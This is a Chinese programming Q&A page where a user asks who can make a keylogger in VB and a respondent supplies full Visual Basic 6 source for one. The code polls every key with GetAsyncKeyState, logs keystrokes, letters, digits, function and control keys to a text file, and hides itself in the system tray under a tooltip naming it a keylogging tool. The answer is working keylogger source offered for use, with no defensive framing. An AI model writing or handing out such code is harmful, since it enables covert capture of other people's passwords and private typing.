VB编程 键盘记录器 谁会做

VB编程 键盘记录器 谁会做

简单点的，通过检测键盘ASCII码来记录键盘动作

你具体说下要求，我看看我能做不

四个按钮，一个文本框，两个时钟，代码如下

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Private Declare Function Shell_NotifyIcon Lib "shell32.dll" (ByVal dwMessage As Long, lpData As NOTIFYICONDATA) As Long Const NIM_ADD = &H0 Const NIM_DELETE = &H2 Const NIF_ICON = &H2 Const NIF_MESSAGE = &H1 Const NIF_TIP = &H4 Const WM_MOUSEMOVE = &H200 Const WM_LBUTTONDBLCLK = &H203 Private Type NOTIFYICONDATA cbSize As Long hWnd As Long uId As Long uFlags As Long uCallBackMessage As Long hIcon As Long szTip As String * 64 End Type Dim tray As NOTIFYICONDATA Private Sub Command1_Click() Timer2.Enabled = True End Sub

Private Sub Command2_Click() Timer2.Enabled = False End Sub

Private Sub Command3_Click() MsgBox "记录文件保存在了程序同目录的txt文件里", vbInformation End Sub

Private Sub Command4_Click() tray.cbSize = Len(tray) tray.uId = vbNull tray.hWnd = Me.hWnd tray.uFlags = NIF_TIP Or NIF_MESSAGE Or NIF_ICON tray.uCallBackMessage = WM_MOUSEMOVE tray.hIcon = Me.Icon tray.szTip = "肥狗键盘记录工具" & vbNullChar Shell_NotifyIcon NIM_ADD, tray Me.Hide End Sub

Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single) Dim msg As Long msg = X / 15 If msg = WM_LBUTTONDBLCLK Then Me.Show Shell_NotifyIcon NIM_DELETE, tray End If End Sub

Private Sub Timer1_Timer() Open App.Path & "\记录文件.txt" For Output As #1 Write #1, text1.Text Close #1 End Sub

Private Sub Timer2_Timer() For i = 32 To 256 X = GetAsyncKeyState(i) If X = -32767 Then text1.Text = text1.Text + Chr(i) End If X = GetAsyncKeyState(186) If X = -32767 Then text1.Text = text1.Text + ";" End If X = GetAsyncKeyState(187) If X = -32767 Then text1.Text = text1.Text + "=" End If X = GetAsyncKeyState(188) If X = -32767 Then text1.Text = text1.Text + "," End If X = GetAsyncKeyState(189) If X = -32767 Then text1.Text = text1.Text + "-" End If X = GetAsyncKeyState(190) If X = -32767 Then text1.Text = text1.Text + "." End If X = GetAsyncKeyState(191) If X = -32767 Then text1.Text = text1.Text + "/" End If

'------------------------------ '数字的虚拟键 X = GetAsyncKeyState(96) If X = -32767 Then text1.Text = text1.Text + "0" End If X = GetAsyncKeyState(97) If X = -32767 Then text1.Text = text1.Text + "1" End If X = GetAsyncKeyState(98) If X = -32767 Then text1.Text = text1.Text + "2" End If X = GetAsyncKeyState(99) If X = -32767 Then text1.Text = text1.Text + "3" End If X = GetAsyncKeyState(100) If X = -32767 Then text1.Text = text1.Text + "4" End If X = GetAsyncKeyState(101) If X = -32767 Then text1.Text = text1.Text + "5" End If X = GetAsyncKeyState(102) If X = -32767 Then text1.Text = text1.Text + "6" End If X = GetAsyncKeyState(103) If X = -32767 Then text1.Text = text1.Text + "7" End If X = GetAsyncKeyState(104) If X = -32767 Then text1.Text = text1.Text + "8" End If X = GetAsyncKeyState(105) If X = -32767 Then text1.Text = text1.Text + "9" End If '-------------------------------------- X = GetAsyncKeyState(13) If X = -32767 Then text1.Text = text1.Text + " (回车键) " End If '-------------------------------------- X = GetAsyncKeyState(8) If X = -32767 Then text1.Text = text1.Text + " (退格键) " End If '-------------------------------------- X = GetAsyncKeyState(9) If X = -32767 Then text1.Text = text1.Text + "(TAB键)" End If '-------------------------------------- X = GetAsyncKeyState(16) ''shift键 If X = -32767 And TimeOut = 0 Then text1.Text = text1.Text + "(Shift键)" End If '-------------------------------------- X = GetAsyncKeyState(17) ''Ctrl键 If X = -32767 Then text1.Text = text1.Text + "(Ctrl键)" End If '-------------------------------------- X = GetAsyncKeyState(18) If X = -32767 Then text1.Text = text1.Text + "(ALT键)" End If '-------------------------------------- X = GetAsyncKeyState(46) If X = -32767 Then text1.Text = text1.Text + "(删除)" End If '-------------------------------------- X = GetAsyncKeyState(38) If X = -32767 Then text1.Text = text1.Text + "(向上)" End If '-------------------------------------- X = GetAsyncKeyState(40) If X = -32767 Then text1.Text = text1.Text + "(向下)" End If '-------------------------------------- X = GetAsyncKeyState(37) If X = -32767 Then text1.Text = text1.Text + "(向左)" End If '-------------------------------------- X = GetAsyncKeyState(39) If X = -32767 Then text1.Text = text1.Text + "(向右)" End If '--------------------------------------

X = GetAsyncKeyState(112) If X = -32767 Then text1.Text = text1.Text + "[F1]" End If

X = GetAsyncKeyState(113) If X = -32767 Then text1.Text = text1.Text + "[F2]" End If

X = GetAsyncKeyState(114) If X = -32767 Then text1.Text = text1.Text + "[F3]" End If

X = GetAsyncKeyState(115) If X = -32767 Then text1.Text = text1.Text + "[F4]" End If

X = GetAsyncKeyState(116) If X = -32767 Then text1.Text = text1.Text + "[F5]" End If

X = GetAsyncKeyState(117) If X = -32767 Then text1.Text = text1.Text + "[F6]" End If

X = GetAsyncKeyState(118) If X = -32767 Then text1.Text = text1.Text + "[F7]" End If

X = GetAsyncKeyState(119) If X = -32767 Then text1.Text = text1.Text + "[F8]" End If

X = GetAsyncKeyState(120) If X = -32767 Then text1.Text = text1.Text + "[F9]" End If

X = GetAsyncKeyState(121) If X = -32767 Then text1.Text = text1.Text + "[F10]" End If

X = GetAsyncKeyState(122) If X = -32767 Then text1.Text = text1.Text + "[F11]" End If

X = GetAsyncKeyState(123) If X = -32767 Then text1.Text = text1.Text + "[F12]" End If

Next i End Sub

如以上回答内容为低俗、色情、不良、暴力、侵权、涉及违法等信息，可以点下面链接进行举报！

点此我要举报以上问答信息